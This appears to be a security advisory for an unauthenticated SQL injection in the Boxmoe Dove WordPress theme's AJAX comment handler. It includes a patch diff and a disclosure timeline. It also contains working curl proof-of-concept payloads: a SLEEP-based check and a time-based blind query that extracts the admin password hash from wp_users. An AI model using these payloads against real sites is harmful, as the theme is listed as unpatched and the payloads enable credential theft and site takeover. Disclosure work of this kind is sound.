Share
## https://sploitus.com/exploit?id=5E55BB2B-EBD9-5DB8-8B52-3F16A438DA24
# CVE-2026-XXXXX
## Unauthenticated SQL Injection in Boxmoe Dove WordPress Theme via AJAX Comment Handler
---
### Advisory Information
| Field | Value |
|-------|-------|
| **Ecosystem** | WordPress Theme |
| **Package/Product** | Boxmoe Dove WordPress Theme |
| **Affected Versions** | All versions through commit `13e8994` |
| **Patched Versions** | None |
| **Severity** | **CRITICAL (CVSS 9.8)** |
| **CWE** | CWE-89 (SQL Injection) |
| **CVSS Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **Repository** | https://github.com/baomihuahua/boxmoe-dove- |
| **Stars** | 198 โญ |
---
### Summary
The Boxmoe Dove WordPress theme contains an unauthenticated SQL injection vulnerability in its custom AJAX comment handler (`module/fun-ajax-comments.php`). Comment author, email, and content fields are sanitized only with `trim()` and `strip_tags()` โ neither of which prevents SQL injection โ and then concatenated directly into a SQL `SELECT` query without `$wpdb->prepare()` or `esc_sql()`.
---
### Affected Component
| Field | Value |
|-------|-------|
| **Ecosystem** | WordPress Theme |
| **Package** | baomihuahua/boxmoe-dove- |
| **Vendor** | baomihuahua |
| **Affected Versions** | All |
| **Patched Versions** | None |
| **File** | `module/fun-ajax-comments.php`, lines 114โ117 |
---
### Description
The theme implements a custom AJAX comment endpoint that bypasses WordPress's standard `wp-comments-post.php` and its built-in sanitization chain (`preprocess_comment` โ `wp_filter_comment`). Input is sanitized only with `trim()` and `strip_tags()`, then used directly in SQL:
**Vulnerable code (`module/fun-ajax-comments.php`, lines 48โ117):**
```php
// Line 48: Input โ strip_tags only, NO SQL escaping
$comment_author = (isset($_POST['author'])) ? trim(strip_tags($_POST['author'])) : null;
$comment_author_email = (isset($_POST['email'])) ? trim($_POST['email']) : null;
$comment_content = (isset($_POST['comment'])) ? trim($_POST['comment']) : null;
// Lines 114-117: Raw concatenation into SQL โ NO $wpdb->prepare()!
$dupe = "SELECT comment_ID FROM $wpdb->comments
WHERE comment_post_ID = '$comment_post_ID'
AND ( comment_author = '$comment_author' ";
if ($comment_author_email)
$dupe .= "OR comment_author_email = '$comment_author_email' ";
$dupe .= ") AND comment_content = '$comment_content' LIMIT 1";
if ($wpdb->get_var($dupe)) { // โ SQL INJECTION
err('Duplicate comment detected');
}
```
**Note:** The developer is aware of `$wpdb->prepare()` โ it is used on line 122 for the flood check โ but omitted it for the duplicate check query on line 114.
---
### Proof of Concept
**Environment:** WordPress 6.x with Boxmoe Dove theme activated, comments enabled.
**PoC #1 โ Time-Based Blind SQL Injection:**
```bash
# Confirm vulnerability via 5-second delay
# Note: if fun-ajax-comments.php is registered via wp_ajax_nopriv_ hook,
# replace URL with: http://target/wp-admin/admin-ajax.php?action=
curl -X POST "http://target/wp-content/themes/boxmoe-dove-/module/fun-ajax-comments.php" \
--data "comment_post_ID=1" \
--data "author=test" \
--data "email=test@test.com" \
--data "comment=test' AND SLEEP(5) -- " \
--data "submit=Post"
# Response delay of 5+ seconds confirms blind SQL injection
```
**PoC #2 โ Time-Based Blind Credential Extraction:**
> **Note:** `$wpdb->get_var()` uses `mysqli_query()` internally, which does **not** support stacked queries. Data is extracted via time-based blind injection.
```bash
# Extract admin password hash character by character
curl -X POST "http://target/wp-content/themes/boxmoe-dove-/module/fun-ajax-comments.php" \
--data "comment_post_ID=1" \
--data "author=test" \
--data "email=test@test.com" \
--data "comment=test' AND IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='\$',SLEEP(5),0) -- " \
--data "submit=Post"
# 5-second delay = first char matches '$'; iterate to rebuild full password hash
# WordPress stores hashes in phpass/MD5 format โ crackable offline
```
**What happens:**
1. Attacker POSTs to the custom AJAX endpoint (bypasses WordPress `wp-comments-post.php`)
2. `strip_tags()` removes HTML tags but does NOT prevent SQL injection
3. Payload is concatenated directly into the `$dupe` SQL string
4. `$wpdb->get_var()` executes the injected SQL
5. Time-based blind extraction yields admin password hash
---
### Impact
| CIA | Level | Description |
|-----|-------|-------------|
| Confidentiality | **HIGH** | Extract all WordPress user password hashes via subquery |
| Integrity | **HIGH** | Crack admin hash โ full admin access โ modify any content |
| Availability | **HIGH** | Admin access enables deletion of all site content |
**Attack scenario:**
1. Unauthenticated attacker sends crafted POST to custom AJAX endpoint
2. `strip_tags()` provides zero SQL injection protection
3. Time-based blind injection extracts admin password hash
4. Hash is cracked offline โ full site compromise
---
### Patches
Replace raw string concatenation with `$wpdb->prepare()`:
```diff
- $dupe = "SELECT comment_ID FROM $wpdb->comments
- WHERE comment_post_ID = '$comment_post_ID'
- AND ( comment_author = '$comment_author' ";
- if ($comment_author_email)
- $dupe .= "OR comment_author_email = '$comment_author_email' ";
- $dupe .= ") AND comment_content = '$comment_content' LIMIT 1";
- if ($wpdb->get_var($dupe)) { ... }
+ if ($comment_author_email) {
+ $dupe = $wpdb->prepare(
+ "SELECT comment_ID FROM $wpdb->comments
+ WHERE comment_post_ID = %d
+ AND (comment_author = %s OR comment_author_email = %s)
+ AND comment_content = %s LIMIT 1",
+ $comment_post_ID, $comment_author, $comment_author_email, $comment_content
+ );
+ } else {
+ $dupe = $wpdb->prepare(
+ "SELECT comment_ID FROM $wpdb->comments
+ WHERE comment_post_ID = %d
+ AND comment_author = %s
+ AND comment_content = %s LIMIT 1",
+ $comment_post_ID, $comment_author, $comment_content
+ );
+ }
+ if ($wpdb->get_var($dupe)) { ... }
```
Also apply `esc_sql()` or prepared statements to all user-supplied values before SQL usage.
---
### References
| Type | URL |
|------|-----|
| Repository | https://github.com/baomihuahua/boxmoe-dove- |
| Vulnerable code | https://github.com/baomihuahua/boxmoe-dove-/blob/master/module/fun-ajax-comments.php#L114 |
| WordPress $wpdb::prepare() | https://developer.wordpress.org/reference/classes/wpdb/prepare/ |
| CWE-89 | https://cwe.mitre.org/data/definitions/89.html |
---
### Verification
Vulnerability confirmed via local code audit on 2026-06-27:
```bash
git clone https://github.com/baomihuahua/boxmoe-dove-.git
cd boxmoe-dove-
# Confirm SQL injection at line 114:
grep -n "dupe.*SELECT.*wpdb->comments" module/fun-ajax-comments.php
# Output: 114: $dupe = "SELECT comment_ID FROM $wpdb->comments WHERE...
# Confirm NO prepare() on the vulnerable query:
grep -B5 "wpdb->get_var.*dupe" module/fun-ajax-comments.php
# Shows raw $dupe concatenation โ no prepare() wrapping
# Confirm prepare() IS used elsewhere (dev knew about it):
grep -n "wpdb->prepare" module/fun-ajax-comments.php
# Output: 122 (flood check only โ NOT on the dupe query)
# Confirm insufficient input sanitization:
grep -n "comment_content.*POST" module/fun-ajax-comments.php
# Output: 50: $comment_content = trim($_POST['comment']);
# No esc_sql(), no prepare() โ only trim()
```
**Verification status: โ
ALL CHECKS PASSED**
---
### Credits
| Role | Name |
|------|------|
| **Finder** | Fatullayev Asadbek |
| **Reporter** | Fatullayev Asadbek |
| **GitHub** | Kimdir01 |
---
### Timeline
| Date | Event |
|------|-------|
| 2026-06-27 | Vulnerability discovered via source code analysis |
| 2026-06-27 | Local verification โ `git clone` + code audit confirmed |
| 2026-06-27 | Vendor notified via GitHub Security Advisory (private disclosure) |
| TBD | Vendor acknowledgment / response |
| TBD + 90 days | Coordinated public disclosure |
| TBD | CVE ID assigned and advisory published |
---
### CVSS v3.1
```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H โ 9.8 CRITICAL
AV:N โ Remote over HTTP (custom AJAX endpoint)
AC:L โ Simple POST request
PR:N โ No authentication (anonymous comments)
UI:N โ No user interaction
S:U โ Same security context
C:H โ Extract password hashes via subquery
I:H โ Crack hash โ admin access โ modify site
A:H โ Admin access โ delete all content
```